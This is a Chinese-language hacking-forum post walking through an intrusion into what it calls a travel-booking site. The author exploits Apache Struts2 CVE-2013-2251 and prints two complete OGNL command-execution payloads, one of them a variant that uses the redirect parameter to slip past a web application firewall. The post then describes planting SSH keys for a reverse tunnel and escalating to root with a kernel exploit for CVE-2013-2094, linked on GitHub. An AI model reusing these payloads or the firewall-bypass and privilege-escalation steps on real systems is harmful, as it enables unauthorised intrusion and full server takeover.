跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

一次绕过防火墙获取RCE以及提权到root权限的渗透过程

精选回复

发布于

 

本文是关于Apache struts2 CVE-2013-2251是由于导致执行远程命令的影响而被高度利用的漏洞。简而言之, 通过操纵以“action:”/”redirect:”/”redirectAction:”为前缀的参数引入的漏洞,允许在使用<Struts 2.3.15作为框架的Java Web应用程序中执行远程命令。

 

现在,当这个漏洞以病毒式疯狂传播时,主要的应用防火墙厂商开始更新它们的规则引擎和检测技术,以防止它发生。 但是作者不仅能够绕过防火墙并获得远程代码执行,还能够通过利用内核漏洞来提权到以root用户身份获取服务器权限。

 

当作者在测试旅行预订网站时,是 因为为了找到应用程序是否运行在易受攻击的Apache Struts框架上的漏洞利用,只需检查以下易受攻击的参数-“action, redirect,redirectAction”和正确的有效攻击负载,通过google找到利用poc的博客(必须构建一个OGNL表达式),http://blog.opensecurityresearch.com/2014/02/attacking-struts-with-cve-2013-2251.html ,下面是用于运行命令“ifconfig”的有效负载。

redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{‘ ifconfig’})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}

1049983-20180503102058321-594560482.jpg

但正如预料的那样,它被应用防火墙阻止了,并将重定向到一个bot机器页面 。

1049983-20180503102058546-2118605936.jpg

当这样的事情发生在作者身上时,正如前面指出的那样,知道哪些参数易受攻击,其中之一是在上述请求中使用的“redirect”参数。 “redirect”,是的,你觉得它是正确的,让我们尝试在这里重定向,只是把它重定向到http://www.goal.com

1049983-20180503102058800-110329900.jpg

正如你所看到的那样,作者得到了302重定向到位置http://www.goal.com ,所以之前的ifconfig命令有效载荷被阻止了,这个重定向方法,给了作者一个绕过防火墙的思路,所以,将上面的有效负载进行修改如下:

redirect:http://www.goal.com/${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{‘ ifconfig’})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}

并发起请求:

1049983-20180503102059259-2133407531.jpg

下面显示了能够绕过防火墙并获得运行的“ifconfig”命令输出信息:

1049983-20180503102059650-1140561131.jpg

下一个目标是获得服务器的远程shell,作者使用反向SSH隧道和公钥认证来尝试并获取shell,它允许SSH用户在不输入密码的情况下登录。 因此,作者必须将攻击者服务器的ssh公钥放入受害服务器的授权路径下~/.ssh/authorized_keys,为了获取授权身份,并且获取为反向ssh隧道,还必须添加受害ssh服务器的id_rsa.pub公钥。 为了阐述上面2个关键词的概念并理解公钥认证的概念-----id_rsa.pub是您添加到其他主机的authorized_keys文件以允许您以该用户身份登录的公钥。 authorized_keys是允许登录到特定服务器上的特定帐户的公钥列表。

第一步 - 使用RCE查找受害服务器的id_rsa.pub文件位置

1049983-20180503102059925-1454869560.jpg

第二步 - 将authorized_keys从受害者服务器复制到攻击者服务器上

1049983-20180503102100336-925965279.jpg

第三步 - 将修改后的authorized_keys从攻击者服务器复制回来,通过读取id_rsa.pub获得shell.

最后一步 - SSH在攻击者机器上使用反向隧道,所以运行了如下命令行:

 

1049983-20180503102100614-1652450378.jpg

 

能够获得服务器的远程shell,但没以root登陆的权限,这就意味着只有有限的权利访问文件和命令执行。 现在为了获取以root用户身份登录的权限,作者首先查看当前受害机器上运行的内核版本是什么:

1049983-20180503102100971-563766463.jpg

因此发现了内核版本是2.6.32,通过google查找到利用的CVE,该CVE可

容易进行账户提权和漏洞利用----https: //github.com/realtalk/cve-2013-2094 ,最终够获得root用户权限。

1049983-20180503102101177-1742600634.jpg

这就是如何通过利用apache strut 2漏洞和内核版本漏洞利用结合来获取以root用户服务器的远程shell

 





创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。